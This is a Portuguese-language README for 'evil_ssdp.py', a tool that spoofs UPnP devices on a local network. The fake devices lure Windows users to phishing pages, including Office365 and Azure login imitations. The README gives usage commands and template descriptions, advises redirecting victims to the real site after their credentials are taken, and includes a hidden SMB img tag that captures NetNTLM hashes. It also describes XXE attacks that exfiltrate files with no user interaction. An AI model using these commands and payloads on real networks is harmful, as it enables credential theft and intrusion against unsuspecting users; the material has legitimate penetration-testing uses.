
Falsificar respostas SSDP e criar dispositivos UPnP falsos para pescar credenciais e desafio/resposta NetNTLM.
Esta ferramenta responde a solicitações de descoberta multicast SSDP, fazendo-se passar por um dispositivo UPNP genérico. Seu dispositivo falsificado aparecerá magicamente no Windows Explorer em máquinas da sua rede local. Usuários que forem tentados a abrir o dispositivo verão uma página de phishing configurável. Esta página pode carregar uma imagem oculta via SMB, permitindo capturar ou retransmitir o desafio/resposta NetNTLM.
Modelos também são fornecidos para capturar credenciais em texto claro via autenticação básica e formulários de login, e criar seus próprios modelos personalizados é rápido e fácil.
Isso não requer credenciais existentes para executar e funciona mesmo em redes que se protegeram contra ataques Responder desabilitando NETBIOS e LLMNR. Qualquer sistema operacional ou aplicativo que utilize SSDP/UPNP pode ser alvo, mas a maior parte da weaponização atual tem sido direcionada ao Windows 10.
Vídeo: Visão Geral de Phishing
Como bônus, esta ferramenta também pode detectar e explorar potenciais vulnerabilidades de dia zero nos mecanismos de análise XML de aplicações que usam SSDP/UPNP. Se um dispositivo vulnerável for encontrado, ele o alertará na interface e então montará seu compartilhamento SMB ou exfiltrará dados SEM NENHUMA INTERAÇÃO DO USUÁRIO através de um ataque de Entidade Externa XML (XXE).
A execução mais básica se parece com isso:
evil_ssdp.py eth0
Você precisa fornecer a interface de rede no mínimo. A interface é usada tanto para a interação UDP SSDP quanto para hospedar um servidor web para os arquivos XML e a página de phishing.
A ferramenta atualizará automaticamente uma tag IMG na página de phishing usando o IP da interface que você fornecer. Para trabalhar com desafio/resposta, você precisará iniciar um servidor SMB nessa interface (como o Impacket). Este endereço pode ser personalizado com a opção -s.
Alguns cenários de exemplo:
# Use wlan0 para anúncio de dispositivo e phishing, capturando NetNTLM e
# solicitando texto claro através de um formulário falsificado do Office365. Redirecione para
# Microsoft após capturar as credenciais:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Mesmo que acima, mas assumindo que seu servidor SMB está rodando em outro IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Solicite credenciais usando autenticação básica e redirecione para Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Espere por uma vulnerabilidade XXE para capturar NetNTLM enquanto Impacket/Responder está rodando
em wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Detalhes completos de uso:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
Os seguintes modelos acompanham a ferramenta. Se você tiver boas habilidades de design, contribua com um seu!
office365: Aparecerá no Windows Explorer como "Office365 Backups". Página de phishing com aparência de login do Office365 que envia credenciais via POST de volta para você. Estas serão sinalizadas na interface e registradas no arquivo de log. Recomenda-se executar com '-u https://www.office.com' para redirecionar os usuários ao site legítimo após roubar suas credenciais. Desenvolvedor: pentestgeek.scanner: Aparecerá no Windows Explorer como um scanner com o nome "Corporate Scanner [3 NEW SCANS WAITING]". Clicar duas vezes levará a uma página de login de aparência genérica. Este modelo se beneficiaria de personalização para seu alvo específico. Modelo em grande parte copiado de este modelo.microsft-azure: Aparecerá no Windows Explorer como "Microsoft Azure Storage". A página de destino é a página de login do Windows Live quando os cookies estão desabilitados. Recomenda-se usar com a opção -u para redirecionar os usuários à página de login real. Desenvolvedor: Dwight Hohnstein.bitcoin: Aparecerá no Windows Explorer como "Bitcoin Wallet". A página de phishing é apenas um conjunto aleatório de informações de chave privada/pública/endereço Bitcoin. Não há fundos reais nessas contas.password-vault: Aparecerá no Windows Explorer como "IT Password Vault". A página de phishing contém uma lista curta de senhas falsas / chaves SSH / etc.xxe-smb: Provavelmente não aparecerá no Windows Explorer. Usado para encontrar vulnerabilidades de dia zero em analisadores XML. Acionará um alerta "XXE - VULN" na interface para acertos e tentará forçar clientes a autenticar com o servidor SMB, com 0 interação.xxe-exfil: Outro exemplo de busca por vulnerabilidades XXE, mas desta vez tentando exfiltrar um arquivo de teste de um host Windows. Claro, você pode personalizar isso para procurar qualquer arquivo específico desejado, Windows ou Linux. Nas aplicações vulneráveis que descobri, a exfiltração funciona apenas em um arquivo sem espaços em branco ou quebras de linha. Isso se deve à forma como é injetado na URL de uma requisição GET. Se você conseguir fazer isso funcionar em arquivos com várias linhas, POR FAVOR me diga como fez.Criar seus próprios modelos é fácil. Basta copiar a pasta de um modelo existente e editar os seguintes arquivos:
device.xml: Aqui é onde você definirá a aparência do dispositivo dentro do Windows Explorer.present.html: Esta é a página de phishing exibida quando um alvo abre o dispositivo malicioso. Crie o que quiser aqui. Note que o template de string do Python analisará isso, então você precisará usar $$ no lugar de $ em qualquer lugar para escapar do mecanismo de template.service.xml: Ainda não implementado. Pode ser necessário para falsificação UPNP mais complexa no futuro.Na sua página de phishing (present.html), use variáveis como as seguintes para funcionalidade adicional:
# A linha a seguir iniciará um desafio/resposta NetNTLM usando o endereço IP
# da interface que você fornecer ou de um IP opcionalmente especificado:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />